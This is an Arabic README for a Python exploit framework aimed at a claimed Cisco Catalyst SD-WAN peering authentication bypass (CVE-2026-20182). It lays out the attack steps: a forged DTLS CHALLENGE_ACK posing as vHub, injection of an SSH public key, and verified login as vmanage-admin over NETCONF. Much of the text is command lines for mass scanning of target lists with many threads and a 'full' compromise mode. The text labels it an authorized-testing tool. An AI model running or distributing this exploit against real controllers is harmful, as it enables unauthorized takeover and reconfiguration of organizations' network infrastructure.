
تجاوز مصادقة Peering في Cisco Catalyst SD-WAN
تجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN
أداة تقييم للاختبار المصرح به لتجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| الخطورة | حرجة (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| المنتج | Cisco Catalyst SD-WAN Controller (المعروف سابقًا بـ vSmart) · Cisco Catalyst SD-WAN Manager (المعروف سابقًا بـ vManage) |
| المشكلة | آلية مصادقة الاقتران لا يتم تطبيقها بشكل صحيح |
| السكربت | CVE-2026-20182.py |
نشرة مايو 2026: وجود خلل في مصافحة اتصال التحكم / مصادقة الاقتران يسمح لـمهاجم عن بُعد غير مصادَق بتجاوز المصادقة والحصول على وصول داخلي بصلاحيات عالية على الأنظمة المتأثرة.
يرسل المهاجم طلبات مخصصة إلى النظام المتأثر. عند النجاح، قد يتمكن المهاجم من المصادقة كحساب داخلي بصلاحيات عالية وغير جذر والوصول إلى NETCONF، مما يتيح التلاعب بإعدادات بنية SD-WAN.
| العنصر | التفاصيل |
|---|---|
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| الأثر | السرية والسلامة والتوافر — عالٍ |
التوصية: طبّق إصلاحات Cisco الأمنية وفقًا لتوجيهات البائع الرسمية. قيّد التعرض لمستوى الإدارة، وراقب اتصالات مستوى التحكم، ودقّق في وحدات تحكم SD-WAN بحثًا عن تغييرات إعدادات غير مصرح بها.
تيليجرام: @KNxploited
CVE-2026-20182.pyإطار عمل استغلال بلغة Python 3 لـCVE-2026-20182 ضد vdaemon الخاص بـ Cisco SD-WAN (UDP/DTLS 12346).
| الخطوة | المرحلة | الوصف |
|---|---|---|
| 1 | تحميل الأهداف | تحليل targets.txt ودمج التكرارات حسب (host, domain_id, site_id) |
| 2 | فحص OpenSSL المسبق | تحميل المكتبات المشتركة OpenSSL 3.x/4.x لـ DTLS المخصص |
| 3 | اتصال DTLS | الاتصال بمنفذ UDP الهدف (دائمًا 12346 أولاً، ثم منافذ القائمة الاختيارية) |
| 4 | CHALLENGE | استقبال CHALLENGE من الخادم (0x08) |
| 5 | CHALLENGE_ACK | إرسال CHALLENGE_ACK مخصص كـvHub (type 2) — تجاوز المصادقة |
| 6 | Hello | إكمال تبادل Hello — يؤكد مسار التجاوز |
| 7a | وضع CHECK | التوقف هنا — تسجيل bypass / Hello OK فقط (بدون مفاتيح، بدون SSH) |
| 7b | وضع FULL | حقن مفتاح SSH العام عبر VMANAGE_TO_PEER |
| 8 | ACK الحقن | توقع REGISTER_TO_VMANAGE (0x0D) كإقرار بروتوكول |
| 9 | التحقق من SSH | اختبار تسجيل الدخول باسم vmanage-admin عبر TCP 830 (NETCONF)، واختياريًا 22 |
| 10 | الإخراج | فرز النتائج في ملفات متدرجة + قائمة أوامر قابلة للقراءة البشرية |
الاحتياطي للبنية: عند حدوث TEAR_DOWN أو عدم تطابق المعاملات، يعيد المحاولة باستخدام الإعدادات المسبقة البديلة domain/site (1,100) و(1,1) و(0,0) ما لم يتم استخدام --no-fallback.
| المستوى | الملف | المعنى |
|---|---|---|
| 01 — SSH مؤكد | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — المستوى الوحيد الذي يُعتبر دليل اختراق كامل |
| 02 — حقن ACK فقط | cisco_sdwan_02_inject_ack_only.jsonl | البروتوكول قبل حقن المفتاح؛ فشل تسجيل دخول SSH |
| 03 — تجاوز فقط | cisco_sdwan_03_bypass_only.jsonl | Hello/تجاوز ناجح؛ لا يوجد حقن مؤكد |
مهم
check → المستوى 03 كحد أقصى (فحص تجاوز). ليس دليل استغلال كامل.full → استهدف المستوى 01 (ssh_verified).https://host في القائمة → تلميح ويب TCP فقط (80/443). ليس UDP DTLS على 443.| المتطلب | ملاحظات |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | مكتبات مشتركة 3.x أو 4.x (libssl + libcrypto) — إلزامي |
pip install -r requirements.txt
ويندوز
bin\ إلى PATH، أو عيّن:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
لينكس
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
تخرج الأداة عند بدء التشغيل إذا تعذر تحميل OpenSSL.
python CVE-2026-20182.py
0 = تشغيل الفحصcheck (فحص تجاوز آمن)python CVE-2026-20182.py -y
| الوضع | العلامة | حقن SSH | التحقق من SSH | استخدم عندما |
|---|---|---|---|---|
| CHECK | --mode check (الافتراضي) | لا | لا | فحص واسع النطاق، اكتشاف التجاوز |
| FULL | --mode full | نعم | نعم (ما لم يتم استخدام --no-ssh-verify) | إثبات الاختراق |
CHECK — فحص تجاوز فقط
python CVE-2026-20182.py -y --mode check
FULL — حقن مفتاح + التحقق من SSH (الأهداف المصرح بها فقط)
python CVE-2026-20182.py -y --mode full
-f / --file — قائمة الأهداف (الافتراضي: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — عدد خيوط العمل (1–200، الافتراضي 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — تخطي القائمة التفاعلية؛ استخدام قيم سطر الأوامر فقط
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — تخطي اختبار SSH بعد الحقن (غير موصى به في وضع full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — محاولة استخدام TCP 22 أيضًا بعد 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — UDP 12346 فقط؛ تجاهل :port من القائمة
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — مختبر: منافذ UDP إضافية على كل مضيف
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — تعطيل إعادة المحاولة domain/site عند TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — تسجيل كل رسالة بروتوكول TX/RX
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y)| # | الخيار |
|---|---|
| 1 | ملف الأهداف |
| 2 | خيوط العمل |
| 3 | DOMAIN_ID الافتراضي |
| 4 | SITE_ID الافتراضي |
| 5 | الوضع: check / full |
| 6 | إعادة المحاولة التلقائية للبنية عند TEAR_DOWN |
| 7 | سجل البروتوكول المفصل |
| 8 | التحقق من SSH بعد الحقن |
| 9 | التحقق أيضًا من SSH :22 |
| 10 | محاولة استخدام منافذ UDP المحددة في القائمة |
| 11 | منافذ UDP إضافية (مختبر) |
| 12 | عرض مساعدة تنسيق القائمة |
| 0 | ▶ تشغيل الفحص |
targets.txtهدف واحد لكل سطر. الأسطر التي تبدأ بـ # يتم تجاهلها.